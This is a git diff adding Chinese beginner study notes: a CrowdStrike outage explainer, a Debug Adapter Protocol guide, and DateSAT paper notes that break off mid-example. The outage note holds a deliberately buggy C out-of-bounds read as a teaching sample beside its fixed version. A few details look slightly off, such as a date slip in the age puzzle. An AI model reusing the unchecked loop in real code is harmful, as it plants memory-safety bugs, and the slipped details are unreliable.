+内核是操作系统的"心脏"。所有软件想要读写硬盘、使用内存、操控网络，都必须通过内核。
+
+```
+用户程序（浏览器、微信、游戏）
+       ↓
+系统调用接口（API）
+       ↓
+┌─────────────────┐
+│   操作系统内核    │  ← 这里是最高权限区域
+│  - 内存管理      │
+│  - 进程调度      │
+│  - 设备驱动      │
+└─────────────────┘
+       ↓
+硬件（CPU、内存、硬盘、网卡）
+```
+
+**关键概念**：内核里的代码拥有最高权限，它的任何一个 bug 都可能直接导致整个系统崩溃。所以内核代码的质量要求极高，需要经过最严格的测试。
+
+### 3.2 驱动程序（Driver）
+
+驱动程序是让操作系统认识特定硬件的小程序。比如显卡驱动让 Windows 知道怎么控制你的显示器。
+
+安全软件（如 CrowdStrike Falcon）也会以**内核级驱动**的形式运行——它把自己嵌入到内核中，随时监控系统的每一个动作。
+
+类比：保安不仅站在门口，还装了一双"透视眼"，能看透大楼里发生的一切。这双眼睛直接连接到大脑（内核），所以非常强大，但也极其危险——如果这双眼睛出了问题，大脑也会跟着出错。
+
+### 3.3 通道文件（Channel File）
+
+CrowdStrike 通过"通道文件"向客户端推送更新。每个通道文件都有一个编号，出问题的文件叫 **Channel File 291**。
+
+类比：这就像保安收到的"新规则手册"的编号是第 291 号。这个手册本身不长，只有一页纸，但内容致命。
+
+### 3.4 Named Pipe（命名管道）
+
+Named Pipe 是 Windows 系统中两个程序之间传递数据的"通道"。类似于两栋楼之间的地下管道，用来运送信息。
+
+CrowdStrike 的内核驱动会检查经过这些管道的数据，判断是否有恶意行为。问题就出在对 Named Pipe 数据的处理逻辑上。
+
+### 3.5 越界读取（Out-of-Bounds Memory Read）
+
+这是本次事件的**根本技术原因**。
+
+想象你在读一本有 10 页的书，但有人告诉你去翻第 15 页——第 15 页不存在。你强行去翻，结果撕坏了整本书，甚至伤到了自己的手。
+
+在计算机中，内存是一块有固定大小的区域。如果程序试图读取超出这片区域的内存地址，就会触发"非法页面错误"（Invalid Page Fault），内核立刻判定为致命错误，触发蓝屏。
+
+### 3.6 启动死循环（Boot Loop）
+
+蓝屏之后，电脑会自动重启。但如果导致蓝屏的问题文件仍然存在，电脑每次启动都会再次蓝屏，然后再次重启——周而复始，永远无法进入桌面。
+
+类比：你的汽车发动机每次启动就熄火，你反复尝试打火，但它永远点不着。
+
+---
+
+## 四、时间线还原
+
+| 时间（UTC） | 事件 |
+|---|---|
+| 04:09 | CrowdStrike 向全球客户端推送了有问题的 Channel File 291 更新 |
+| 05:27 | CrowdStrike 撤回（revert）了该更新 |
+| 06:48 | Google Cloud 报告 Azure 虚拟机开始崩溃 |
+| 07:15 | Google 确认是 CrowdStrike 更新导致的 |
+| 09:45 | CrowdStrike CEO George Kurtz 确认问题并非网络攻击，修复已部署 |
+
+从推送到撤回只用了不到 2 小时，但已经造成约 850 万台 Windows 设备崩溃。
+
+---
+
+## 五、代码示例
+
+### 示例 1：模拟内核驱动中的越界读取
+
+下面是一个简化的 C 语言示例，展示了什么是"越界读取"。注意：这只是一个教学示例，不是 CrowdStrike 的实际代码。
+
+```c
+#include <stdio.h>
+#include <string.h>
+
+// 模拟一个固定大小的缓冲区（好比那本只有10页的书）
+#define BUFFER_SIZE 10
+char pipe_buffer[BUFFER_SIZE];
+
+// 模拟 CrowdStrike 内核驱动检查 Named Pipe 数据的函数
+void check_named_pipe_data(char *data, int length) {
+    // 问题出在这里：没有检查 length 是否超过 BUFFER_SIZE
+    // 如果 data 的长度大于 10，就会读到不存在的内存
+    for (int i = 0; i < length; i++) {
+        // 越界！当 i >= 10 时，pipe_buffer[i] 访问的是非法内存
+        char byte = pipe_buffer[i];
+
+        // 内核尝试分析这个字节是否有威胁特征
+        if (byte == 0xCC) {  // 0xCC 是常见的断点标记
+            printf("Suspicious byte detected!\n");
+        }
+    }
+}
+
+int main() {
+    // 模拟一条长度为 20 的管道数据（超过了缓冲区的10）
+    char malicious_data[20];
+    memset(malicious_data, 0xAA, sizeof(malicious_data));
+
+    // 调用检查函数 —— 这会触发越界读取
+    check_named_pipe_data(malicious_data, 20);
+
+    return 0;
+}
+```
+
+**解释**：
+
+- `pipe_buffer` 只有 10 个字节的空间（索引 0 到 9）。
+- `check_named_pipe_data` 函数被传入长度 20 的数据，循环会执行到 `i = 19`。
+- 当 `i >= 10` 时，`pipe_buffer[i]` 访问的是缓冲区之外的内存——这就是**越界读取**。
+- 在内核态中，这种错误不会像普通程序那样只是崩溃退出，而是会导致整个操作系统蓝屏。
+
+### 示例 2：修复后的安全检查版本
+
+下面是修复后的代码，加入了边界检查：
+
+```c
+#include <stdio.h>
+#include <string.h>
+
+#define BUFFER_SIZE 10
+char pipe_buffer[BUFFER_SIZE];
+
+void check_named_pipe_data_safe(char *data, int length) {
+    // 第一步：检查输入参数的合法性
+    if (data == NULL || length <= 0) {
+        printf("Invalid input parameters.\n");
+        return;
+    }
+
+    // 第二步：限制读取范围不超过缓冲区大小
+    int safe_length = length;
+    if (safe_length > BUFFER_SIZE) {
+        safe_length = BUFFER_SIZE;
+        printf("Warning: Data truncated to %d bytes.\n", safe_length);
+    }
+
+    // 第三步：现在循环是安全的
+    for (int i = 0; i < safe_length; i++) {
+        char byte = pipe_buffer[i];
+
+        if (byte == 0xCC) {
+            printf("Suspicious byte detected at position %d!\n", i);
+        }
+    }
+}
+
+int main() {
+    char malicious_data[20];
+    memset(malicious_data, 0xAA, sizeof(malicious_data));
+
+    // 即使传入长度 20，函数也会安全地截断到 10
+    check_named_pipe_data_safe(malicious_data, 20);
+
+    return 0;
+}
+```
+
+**关键改进**：
+
+1. **空指针检查**：确保输入的指针有效。
+2. **边界限制**：用 `safe_length` 变量把读取范围限制在缓冲区大小之内。
+3. **警告日志**：记录数据被截断的情况，方便后续排查。
+
+---
+
+## 六、为什么修复这么困难？
+
+很多人好奇：既然 CrowdStrike 在不到 2 小时内就撤回了坏更新，为什么恢复花了这么多天？
+
+### 6.1 已经崩溃的电脑无法远程修复
+
+撤回更新只能防止**新启动**的电脑出现问题。对于那些已经蓝屏并陷入启动死循环的电脑，更新文件已经被写入了硬盘，每次启动都会被加载。
+
+类比：整栋大楼的门禁系统已经锁死了。总部虽然取消了坏规则，但每栋楼里的保安系统已经记住了坏规则。你必须亲自跑到每栋楼里，手动删除那条坏规则，门才能重新打开。
+
+### 6.2 需要逐台手动干预
+
+受影响的电脑需要：
+
+1. 进入**安全模式**（Safe Mode）或 **Windows 恢复环境**（WinRE）
+2. 找到并删除特定的驱动文件
+3. 重启
+
+删除的文件路径是：
+
+```
+%windir%\System32\drivers\CrowdStrike\C-00000291-*.sys
+```
+
+其中 `C-00000291-` 就是 Channel File 291 的文件名前缀。
+
+### 6.3 BitLocker 加密雪上加霜
+
+很多企业电脑开启了 BitLocker 磁盘加密。进入安全模式时，系统会要求输入 48 位恢复密钥。如果：
+
+- 员工在家办公，拿不到恢复密钥
+- 恢复密钥存在已经崩溃的本地服务器上
+
+那就完全没法手动修复了。
+
+---
+
+## 七、影响范围
+
+这次事件影响了全球几乎所有主要行业：
+
+- **航空**：全球取消 5,078 架航班，占当天计划航班的 4.6%。达美航空取消超过 7,000 架航班，损失约 5.5 亿美元
+- **金融**：多国股市交易暂停，银行系统中断
+- **医疗**：英国 NHS 被迫退回手写处方
+- **零售**：沃尔玛、麦当劳等连锁店的 POS 终端无法刷卡
+- **媒体**：BBC、天空新闻等电视台播出中断
+
+全球经济损失估计达数百亿美元。
+
+---
+
+## 八、反思与教训
+
+### 8.1 单一供应商风险（Single Point of Failure）
+
+CrowdStrike 拥有超过 24,000 家客户，包括近 60% 的财富 500 强企业。当它的更新出问题，影响是灾难性的。
+
+类比：全世界大部分大楼都用同一家公司的门锁系统。这家公司出了 bug，所有大楼同时进不去人。
+
+### 8.2 内核级驱动的"双刃剑"
+
+内核级安全软件功能强大，但它的任何 bug 都是系统级的。业界需要重新审视：是否应该允许第三方软件以如此高的权限运行？
+
+### 8.3 更新的"灰度发布"机制缺失
+
+CrowdStrike 的更新是一次性推送到所有客户端的，没有逐步放量的"灰度发布"（Canary Release）机制。如果先推送给 1% 的用户，观察没问题后再推送给其余人，这次事故就不会发生。
+
+类比：新药上市前要先做临床试验。CrowdStrike 的更新相当于直接把药推向所有人，没有临床试验。
+
+### 8.4 没有"延迟更新"选项
+
+受影响的用户无法选择"推迟安装"更新。企业 IT 管理员希望在业务低峰期（比如周末凌晨）部署更新，但这个功能不存在。
+
+---
+
+## 九、关键术语表
+
+| 术语 | 英文 | 简单解释 |
+|---|---|---|
+| 蓝屏 | BSOD | Windows 系统崩溃时显示的蓝色错误画面 |
+| 内核 | Kernel | 操作系统的核心部分，掌管所有硬件资源 |
+| 驱动 | Driver | 让操作系统认识特定硬件的程序 |
+| 通道文件 | Channel File | CrowdStrike 推送更新的配置文件 |
+| 命名管道 | Named Pipe | Windows 程序中传递数据的通道 |
+| 越界读取 | Out-of-Bounds Read | 程序读取了超出分配范围的内存 |
+| 启动死循环 | Boot Loop | 电脑反复重启，无法进入系统 |
+| 安全模式 | Safe Mode | Windows 的一种最小化启动模式 |
+| 内核态 | Kernel Mode | 操作系统中拥有最高权限的运行模式 |
+| 灰度发布 | Canary Release | 先向小部分用户推送更新，观察后再全量发布 |
+
+---
+
+## 十、延伸阅读
+
+- CrowdStrike 官方事件说明：https://www.crowdstrike.com/blog/customer-guidance-significant-outage-windows-systems/
+- Microsoft 官方声明：https://www.microsoft.com/en-us/security/blog/2024/07/19/initial-analysis-of-july-19-2024-windows-client-and-server-impacts-from-third-party-content-update/
+- Wikipedia 词条：https://en.wikipedia.org/wiki/2024_CrowdStrike-related_IT_outages
+- Reddit 讨论帖（来源链接）：https://old.reddit.com/r/crowdstrike/comments/1e6vmkf/bsod_error_in_latest_crowdstrike_update/
+
+---
+
+*本文基于公开资料编写，旨在帮助零基础学习者理解此次事件的技术背景和核心概念。代码示例仅为教学用途，不代表实际生产代码。*
diff --git a/src/content/docs/papers/cutlass-2020.md b/src/content/docs/papers/cutlass-2020.md
index ca1877bd9..21fe629e7 100644
--- a/src/content/docs/papers/cutlass-2020.md
+++ b/src/content/docs/papers/cutlass-2020.md
@@ -157,6 +157,7 @@ FlashAttention 把 attention 分块流式算，每块要做 `Q·Kᵀ`、softmax
 
 - [[cudnn-2014]] —— cuDNN — 把卷积写成矩阵乘，让所有深度学习框架共享底层加速
 - [[flash-attention]] —— FlashAttention — 不改算法，只改数据怎么进 GPU
+- [[flashattention-2]] —— FlashAttention-2 — 更快的 Attention 与更好的并行
 - [[halide]] —— Halide — 把"算什么"和"怎么算"分开写
 - [[triton-2019]] —— Triton 2019 — 让 Python 写出贴近 cuBLAS 的 GPU kernel
 - [[tvm]] —— TVM — 让一份模型能在所有硬件上跑得快
diff --git a/src/content/docs/papers/dap-spec.md b/src/content/docs/papers/dap-spec.md
new file mode 100644
index 000000000..c8bf6d0d8
--- /dev/null
+++ b/src/content/docs/papers/dap-spec.md
@@ -0,0 +1,315 @@
+---
+title: Debug Adapter Protocol Specification — 零基础读懂调试协议规范
+来源: https://microsoft.github.io/debug-adapter-protocol/specification
+日期: 2026-06-13
+子分类: 编辑器与 IDE
+分类: CLI
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Debug Adapter Protocol Specification（DAP 规范）** 是 Microsoft 在 [microsoft.github.io/debug-adapter-protocol](https://microsoft.github.io/debug-adapter-protocol/) 上发布的正式技术文档，当前稳定版本为 **1.71.0**。它用 TypeScript 风格的 interface 精确定义了**开发工具（Client）** 与 **Debug Adapter** 之间交换的每一条 JSON 消息：字段名、类型、是否必填、语义约束，以及 Request 与 Event 的合法顺序。
+
+日常类比：你买了一台「万能空调遥控器」（VS Code、Cursor、Neovim），说明书上写着：按「模式」键发 `initialize`，按「温度」键发 `setBreakpoints`，空调（Debug Adapter）必须回 `response` 或主动推 `event`。DAP 规范就是这份**遥控器与空调之间的通信说明书**——不是教你空调压缩机怎么转，而是规定「按下制冷时，遥控器发什么 JSON、空调必须回什么 JSON、什么时候主动响蜂鸣器（`stopped` event）」。各品牌空调内部电路不同（GDB、lldb、JDWP），但对外接口统一，遥控器只学一份说明书。
+
+技术定义：规范分五大部分——**Base Protocol**（传输帧与三种消息基类）、**Events**（Adapter 主动推送）、**Requests**（Client 发起、需回复）、**Reverse Requests**（Adapter 反向请求 Client，如 `runInTerminal`）、**Types**（`Source`、`StackFrame`、`Variable` 等共享数据结构）。机器可读 JSON Schema 见 [debugProtocol.json](https://microsoft.github.io/debug-adapter-protocol/debugProtocol.json)。
+
+## 为什么重要
+
+零基础读规范，能解决这些「只会点 F5 却不知道背后发生了什么」的问题：
+
+- 为什么断点有时变灰——规范要求 `setBreakpoints` 返回 `verified: false` 时 Client 必须提示未生效
+- 为什么程序刚启动就停住——Adapter 在 `configurationDone` 完成前不应结束 `launch`/`attach`，但可以在入口发 `stopped`（reason: `entry`）
+- 为什么单步后变量树要重新展开——`variablesReference` 在 **continue 之后失效**，这是规范写死的生命周期
+- 为什么 Neovim 能复用 VS Code 的 `debugpy`——双方实现的是同一份 Specification，不是同一份二进制
+
+## 规范文档结构
+
+打开 [Specification 页面](https://microsoft.github.io/debug-adapter-protocol/specification)，可按目录分层阅读：
+
+```
+Specification
+├── Base Protocol          ← 帧格式、ProtocolMessage / Request / Response / Event
+├── Events                 ← initialized, stopped, terminated, output, thread …
+├── Requests               ← initialize, launch, setBreakpoints, stackTrace …
+├── Reverse Requests       ← runInTerminal（Adapter 请 Client 开终端）
+└── Types                  ← Source, Breakpoint, StackFrame, Variable, Capabilities …
+```
+
+每条 Request/Event 在规范里都有：命令名（`command` / `event` 字段值）、参数结构、响应 `body`、相关 capability 标志。实现适配器时，应把规范当**合同**：Client 按合同发，Adapter 按合同回；缺字段或乱序可能导致 VS Code 静默丢功能。
+
+## 核心概念
+
+### 1. Base Protocol：与 LSP 同款的「信封」
+
+规范规定消息经 **stdin/stdout** 或 **TCP** 传输，每条消息 = ASCII 报头 + UTF-8 JSON：
+
+| 报头字段 | 含义 |
+|----------|------|
+| `Content-Length` | body 字节数（唯一必填报头） |
+
+body 中所有消息继承 `ProtocolMessage`：
+
+| 字段 | 类型 | 含义 |
+|------|------|------|
+| `seq` | number | 单调递增序号；Request 的 `seq` 用于匹配 Response 的 `request_seq` |
+| `type` | string | `request` / `response` / `event` |
+
+三种形态：
+
+| type | 关键字段 | 方向 | 需回复 |
+|------|----------|------|--------|
+| request | `command`, `arguments?` | Client → Adapter | 是 |
+| response | `request_seq`, `success`, `command`, `body?`, `message?` | Adapter → Client | — |
+| event | `event`, `body?` | Adapter → Client | 否 |
+
+### 2. Capabilities：永远 v1 的扩展方式
+
+规范**自诞生起主版本恒为 1**。新功能不靠 bump 版本，靠 `initialize` 交换的 **Capabilities** 布尔标志。字段**不存在**即表示不支持，不必写 `false`。
+
+Client 常见：`supportsRunInTerminalRequest`、`supportsVariablePaging`、`supportsCancelRequest`  
+Adapter 常见：`supportsConfigurationDoneRequest`、`supportsConditionalBreakpoints`、`supportsEvaluateForHovers`
+
+### 3. Launch Sequencing：规范强制时序
+
+这是读规范时最容易踩坑的一章。正确顺序：
+
+1. Client → `initialize` → Adapter 回 `InitializeResponse`（含 capabilities）
+2. Client → `launch` 或 `attach`（可早于断点配置，但 Adapter **不应**在此时完成响应）
+3. Adapter → `initialized` **event**（宣布可以收断点了）
+4. Client → `setBreakpoints` / `setFunctionBreakpoints` / `setExceptionBreakpoints`（零条或多条）
+5. Client → `configurationDone`
+6. Adapter → 完成 `launch`/`attach` 的 **Response**，程序真正跑起来
+
+违反「在 `initialized` 之前不发断点配置」会导致部分 Adapter 丢断点。
+
+### 4. 暂停态瀑布：Types 章的对象引用
+
+程序暂停时，Client 按规范建议的顺序拉状态：
+
+```
+threads → stackTrace → scopes → variables → variables（子字段）
+```
+
+`StackFrame` 不内嵌变量列表，而通过 `variablesReference`（正整数句柄）延迟获取。规范约定：与**当前暂停态**绑定的引用在 **continue 后失效**；`evaluate` 与 `output` 里的引用应尽量跨暂停保留。
+
+### 5. setBreakpoints：全量语义
+
+对**单个源文件**一次传**全部**断点（非增量）。Adapter 典型实现：清除该文件旧断点 → 应用新列表 → 在 Response 里返回**实际生效**的断点（位置可能被调试器微调）。暂时无法验证时设 `verified: false`，之后用 `breakpoint` **event** 更新 UI。
+
+### 6. Reverse Requests
+
+少数操作必须由 Client 代劳（如在集成终端里启动被调试进程）。Adapter 发 `runInTerminal` **Reverse Request**，Client 执行后回 Response。是否支持由 Client 在 `initialize` 里声明 `supportsRunInTerminalRequest`。
+
+## 代码示例
+
+### 示例 1：按规范手工组帧 — `initialize` 请求
+
+下面是一条符合 Base Protocol 的完整字节流（`\r\n` 为 CRLF）。Client 会话第一条消息通常是 `initialize`：
+
+```text
+Content-Length: 156
+
+{
+  "seq": 1,
+  "type": "request",
+  "command": "initialize",
+  "arguments": {
+    "clientID": "study-note",
+    "clientName": "Study DAP Client",
+    "adapterID": "example",
+    "pathFormat": "path",
+    "linesStartAt1": true,
+    "columnsStartAt1": true,
+    "supportsVariableType": true,
+    "supportsRunInTerminalRequest": true
+  }
+}
+```
+
+Adapter 必须回 `InitializeResponse`，并在 `body` 里声明能力，例如：
+
+```json
+{
+  "seq": 2,
+  "type": "response",
+  "request_seq": 1,
+  "success": true,
+  "command": "initialize",
+  "body": {
+    "supportsConfigurationDoneRequest": true,
+    "supportsSetVariable": true,
+    "supportsConditionalBreakpoints": true
+  }
+}
+```
+
+随后 Adapter 发 `initialized` event（无 request_seq）：
+
+```json
+{
+  "seq": 3,
+  "type": "event",
+  "event": "initialized"
+}
+```
+
+读规范时对照 [Initialize Request](https://microsoft.github.io/debug-adapter-protocol/specification#Requests_Initialize) 与 [Capabilities](https://microsoft.github.io/debug-adapter-protocol/specification#Types_Capabilities) 两节，可核对每个字段是否实现。
+
+### 示例 2：Python 最小 Debug Adapter — 处理 `stopped` 与 `stackTrace`
+
+用官方 [`debugpy`](https://github.com/microsoft/debugpy) 时，Adapter 已写好；下面展示**自己读规范实现时**要覆盖的最小 Request 处理逻辑（伪代码，突出规范字段）：
+
+```python
+import json
+import sys
+
+def send(msg: dict) -> None:
+    body = json.dumps(msg, separators=(",", ":")).encode("utf-8")
+    sys.stdout.buffer.write(f"Content-Length: {len(body)}\r\n\r\n".encode("ascii"))
+    sys.stdout.buffer.write(body)
+    sys.stdout.buffer.flush()
+
+seq = 0
+
+def reply(request: dict, body: dict | None = None, success: bool = True) -> None:
+    global seq
+    seq += 1
+    send({
+        "seq": seq,
+        "type": "response",
+        "request_seq": request["seq"],
+        "success": success,
+        "command": request["command"],
+        "body": body or {},
+    })
+
+while True:
+    headers = {}
+    while True:
+        line = sys.stdin.buffer.readline().decode("ascii").strip()
+        if not line:
+            break
+        k, v = line.split(": ", 1)
+        headers[k] = v
+    length = int(headers["Content-Length"])
+    msg = json.loads(sys.stdin.buffer.read(length))
+
+    if msg["type"] == "request" and msg["command"] == "initialize":
+        reply(msg, {
+            "supportsConfigurationDoneRequest": True,
+        })
+        send({"seq": 1, "type": "event", "event": "initialized"})
+
+    elif msg["command"] == "configurationDone":
+        reply(msg)
+
+    elif msg["command"] == "launch":
+        # 规范：configurationDone 之后才能完成 launch response
+        reply(msg)
+        send({
+            "seq": 2,
+            "type": "event",
+            "event": "stopped",
+            "body": {"reason": "entry", "threadId": 1},
+        })
+
+    elif msg["command"] == "threads":
+        reply(msg, {"threads": [{"id": 1, "name": "Main Thread"}]})
+
+    elif msg["command"] == "stackTrace":
+        reply(msg, {
+            "stackFrames": [{
+                "id": 1000,
+                "name": "main",
+                "line": 1,
+                "column": 1,
+                "source": {"path": "/tmp/demo.py", "name": "demo.py"},
+            }],
+            "totalFrames": 1,
+        })
+```
+
+真实 Adapter 还需实现 `disconnect`、`setBreakpoints`、`scopes`、`variables` 等；[官方 test suite](https://github.com/microsoft/debug-adapter-protocol/tree/main/test-suite) 按规范逐项验收。
+
+### 示例 3：VS Code `launch.json` — Client 如何引用规范外的扩展字段
+
+规范**不固定** `launch`/`attach` 的 `arguments` 字段（因语言而异）。VS Code 通过扩展的 `package.json` 贡献 JSON Schema；`launch.json` 里多出来的键由 Adapter 自行解析，例如调试 Python：
+
+```json
+{
+  "version": "0.2.0",
+  "configurations": [
+    {
+      "name": "Python: Current File",
+      "type": "debugpy",
+      "request": "launch",
+      "program": "${file}",
+      "console": "integratedTerminal",
+      "justMyCode": true
+    }
+  ]
+}
+```
+
+`type: "debugpy"` 告诉 Client 启动哪个 Adapter 可执行文件；`program`、`justMyCode` 等**不在 DAP 规范正文里**，但会原样放进 `launch` request 的 `arguments`，Adapter 按自己的 schema 读取。读规范时要区分：**wire 协议是统一的，launch 参数 schema 是 per-adapter 的**。
+
+## 规范中的关键 Request / Event 速查
+
+| 名称 | 类型 | 规范章节要点 |
+|------|------|----------------|
+| `initialize` | Request | 会话第一步；交换 capabilities |
+| `launch` / `attach` | Request | 启动模式；arguments 由 Adapter 定义 |
+| `configurationDone` | Request | 断点配置结束标志 |
+| `setBreakpoints` | Request | 单文件全量断点；返回 verified 状态 |
+| `continue` / `next` / `stepIn` / `stepOut` | Request | 均需 `threadId` |
+| `threads` | Request | 即使单线程也必须返回至少一个 thread |
+| `stackTrace` | Request | `startFrame`/`levels` 支持分页 |
+| `scopes` / `variables` | Request | 通过 `variablesReference` 间接访问 |
+| `evaluate` | Request | 调试控制台 / hover 求值 |
+| `disconnect` / `terminate` | Request | launch 与 attach 结束语义不同 |
+| `initialized` | Event | 触发断点配置阶段 |
+| `stopped` | Event | `reason`: entry, breakpoint, exception, pause… |
+| `output` | Event | stdout/stderr 到调试控制台 |
+| `terminated` | Event | 会话结束；可带 `restart` 提示 |
+
+## 与姊妹协议 LSP 的对比
+
+| 维度 | LSP Specification | DAP Specification |
+|------|-------------------|-------------------|
+| 解决问题 | 编辑期智能（补全、诊断） | 运行期调试（断点、单步、变量） |
+| JSON 形态 | JSON-RPC 2.0（`method` + `id`） | 自定义（`command` + `seq`） |
+| 传输帧 | Content-Length + JSON | 相同 |
+| 版本 | 3.17 等显式版本 | 永久 1.x + capabilities |
+| 反向调用 | 较少 | `runInTerminal` 等 Reverse Requests |
+
+同一工具链常成对出现：Python 用 Pylance（LSP）+ debugpy（DAP）；Go 用 gopls（LSP）+ Delve DAP（DAP）。
+
+## 如何系统阅读这份规范
+
+1. **先读 [Overview](https://microsoft.github.io/debug-adapter-protocol/overview)** — 序列图比直接啃 Types 更友好
+2. **精读 Base Protocol + Initialize + Launch Sequencing** — 时序错了后面全错
+3. **按需查 Events / Requests** — 实现断点只读 `setBreakpoints` 与 `breakpoint` event 两节
+4. **对照 [debugProtocol.json](https://microsoft.github.io/debug-adapter-protocol/debugProtocol.json)** — 代码生成、校验测试
+5. **跑 [test-suite](https://github.com/microsoft/debug-adapter-protocol/tree/main/test-suite)** — 用机器检查是否合规范
+
+## 常见误区
+
+1. **把 Specification 当成 GDB 手册** — 规范描述的是 Client↔Adapter 消息，不是底层调试器 API
+2. **在 `initialized` 之前调用 `setBreakpoints`** — 违反 Launch Sequencing
+3. **对 `setBreakpoints` 做增量更新** — 规范要求每文件全量替换
+4. **continue 后复用旧的 `variablesReference`** — 暂停态引用已失效
+5. **认为 `launch` 参数在规范里有统一列表** — 只有 `command` 统一，`arguments` 由 Adapter 文档定义
+
+## 延伸阅读
+
+- [DAP Overview（架构与生命周期）](https://microsoft.github.io/debug-adapter-protocol/overview)
+- [DAP Changelog](https://microsoft.github.io/debug-adapter-protocol/changelog) — 每个 capability 何时加入
+- [VS Code Debugger Extension 指南](https://code.visualstudio.com/api/extension-guides/debugger-extension)
+- [@vscode/debugadapter npm](https://www.npmjs.com/package/@vscode/debugadapter) — Node.js 实现规范消息的 SDK
+- 本库姊妹笔记：[Debug Adapter Protocol 总览](./debug-adapter-protocol.md)、[Language Server Protocol 规范](./language-server-protocol-spec.md)
+
+---
+
+**一句话总结**：DAP Specification 是「调试遥控器」与「调试适配器」之间的合同——用 Content-Length 帧传递 JSON，用 capabilities 扩展功能，用严格的 Launch Sequencing 和 `variablesReference` 生命周期保证所有 IDE 共享同一套调试体验；零基础读者应先掌握时序与三种消息类型，再按实现需求查阅具体 Request/Event 章节。
diff --git a/src/content/docs/papers/datesat-a-framework-for-solving-date-and-period-constraints-arxiv-2605-25180.md b/src/content/docs/papers/datesat-a-framework-for-solving-date-and-period-constraints-arxiv-2605-25180.md
new file mode 100644
index 000000000..67d4918cf
--- /dev/null
+++ b/src/content/docs/papers/datesat-a-framework-for-solving-date-and-period-constraints-arxiv-2605-25180.md
@@ -0,0 +1,250 @@
+---
+title: DateSAT — 用逻辑求解日期与时间段约束
+来源: https://arxiv.org/abs/2605.25180
+日期: 2026-06-13
+分类: 编程语言
+子分类: 类型与 PL 理论
+provenance: pipeline-v3
+---
+
+# DateSAT — 用逻辑求解日期与时间段约束
+
+## 一、一个脑筋急转弯
+
+> "前天我只有 25 岁，明年我就要满 28 岁了。这可能吗？"
+
+如果你第一次看到这个谜题，大概率会觉得不可能。但答案是：**可以**。
+
+只要今天恰好是 2026 年 1 月 1 日，而你的生日是 1999 年 12 月 31 日——
+
+- 前天（2025-12-31）你刚过完 26 岁生日之前的一天，按"还没到生日就算上一年"的说法，你"只有 25"；
+- 今年（2026）你会满 27 岁；
+- 明年（2027）你会满 28 岁。
+
+这个谜题看似简单，但一旦把它写成计算机程序，就会遇到一系列麻烦：闰年、每个月天数不同、"一个月后从 1 月 31 日算起是哪天"等等。这些规则让日期计算成为软件工程中最容易出错的领域之一。
+
+Azure 在 2012 年因为一个闰日 bug 全球宕机；新西兰在 2024 年因为同样的 bug 加油站全部停摆。
+
+**DateSAT 要解决的就是这个问题：让计算机像解数学题一样，精确地推理日期。**
+
+## 二、DateSAT 是什么
+
+DateSAT 是卡内基梅隆大学（CMU）的研究人员在 2026 年 5 月提出的一种框架。它是第一个专门用于**表达和求解涉及日期与日历周期（period）的可满足性约束**的系统。
+
+核心思想很简单：把日期运算转换成整数算术，然后交给一个现成的 SMT 求解器（Z3）去解。
+
+想象一下你在做代数题。已知：
+
+- x + 5 = 12
+- y - x = 3
+
+求 x 和 y。SMT 求解器做的事和这个差不多，只不过它的变量可以是"日期"而不是单纯的数字。
+
+DateSAT 引入了两个新概念：
+
+1. **Date（日期）**：用三元组 (年, 月, 日) 表示，比如 `Date(2024, 2, 29)` 就是 2024 年 2 月 29 日。
+2. **Period（时间段）**：用三元组 (年, 月, 日) 表示一段时间长度，比如 `Period(1, 2, 15)` 表示"1 年 2 个月零 15 天"。
+
+然后你可以写出约束，比如：
+
+```
+birthdate + Period(26, 0, 0) > today - Period(0, 0, 2)
+(birthdate + Period(28, 0, 0)).year == today.year + 1
+```
+
+求解器会自动告诉你：`today = Date(2026, 1, 1)`，`birthdate = Date(1999, 12, 31)` 是一组合法答案。
+
+## 三、为什么日期计算这么难
+
+让我用一个日常类比来说明。
+
+**假设你在排班。** 你说"从 1 月 31 日开始，往后推一个月"。结果应该是哪天？
+
+- 直觉上可能是 2 月 28 日或 2 月 29 日（因为 2 月没有 31 号）
+- 但不同的编程语言有不同的处理方式：有的舍到月底，有的推到 3 月 2 日，有的直接报错
+
+DateSAT 采用的约定和主流库（Java、Python、JavaScript 的 Temporal）一致：
+
+> 先加年月，如果日期溢出就**向下取整**到当月最后一天；再加天数，溢出则进入下个月。
+
+比如 `2017-12-30 + Period(2, 2, 1)` 的计算过程：
+
+1. 先加 2 年 2 个月 → 2020 年 2 月 30 日
+2. 2 月没有 30 号，向下取整 → 2020 年 2 月 29 日（2020 是闰年！）
+3. 再加 1 天 → 2020 年 3 月 1 日
+
+这里还隐藏了一个更深层的问题：**日期加法不满足交换律**。
+
+```
+(2020-01-30 + 1 个月) + 1 天 = 2020-03-01
+(2020-01-30 + 1 天) + 1 个月 = 2020-02-29
+```
+
+结果不一样！这意味着你不能随便调换日期运算的顺序——这也是很多 bug 的根源。
+
+## 四、五种求解策略
+
+DateSAT 的核心贡献是提出了五种将日期约束编码为整数算术的策略。它们都在做同一件事：**把日期变成整数，让 Z3 去解**。区别在于怎么变最高效。
+
+### 策略一：朴素编码（Naive）
+
+把日期 `(y, m, d)` 的三个分量直接用三个整数变量表示。加一个月就写一堆 if-then-else 条件来判断月份会不会溢出。
+
+问题在于：如果要加 100 天，就要嵌套 100 层 if-then-else。公式越来越深，求解器越来越慢。
+
+### 策略二：纪元编码（Epoch-based）
+
+类似 Unix 时间戳，把日期转换成"从某个基准日起过了多少天"。加几天很简单——直接加数字就行。
+
+但问题是：加几个月就不好算了。因为你得先知道当前日期在日历中的位置，才能算出"6 个月后是哪天"。
+
+### 策略三：混合编码（Hybrid）
+
+结合前两种的优点：用纪元编码处理天数运算，用三元组编码处理年月运算。两者之间互相转换。
+
+### 策略四：Alpha-Beta 编码
+
+引入两个辅助变量 alpha 和 beta，分别表示"从某年起过了几个月"和"月中第几天"。这样加减月份就变成了简单的整数加减。
+
+### 策略五：Alpha-Beta-Table（最佳）
+
+在策略四的基础上，预计算好每个月的累计天数表。查询的时候直接查表，不需要现场计算。这是论文中性能最好的策略，中位加速比达到 **2.41 倍**。
+
+## 五、代码示例
+
+### 示例 1：用 DateSAT 检查两段代码是否等价
+
+下面这段 Python 代码来自论文。有两个函数都声称能判断"某个事件日期是否在基准日期的 18 个月窗口内"——但它们的实现方式不同。你能看出它们有 bug 吗？
+
+```python
+# 方法一：手动计算 elapsed months
+def is_in_same_18m_window_1(base_date, event_date):
+    if event_date < base_date:
+        return False
+    elapsed_m = (event_date.year - base_date.year) * 12 \
+                + (event_date.month - base_date.month)
+    if event_date.day < base_date.day:
+        elapsed_m -= 1
+    return elapsed_m < 18
+
+# 方法二：用 dateutil 库
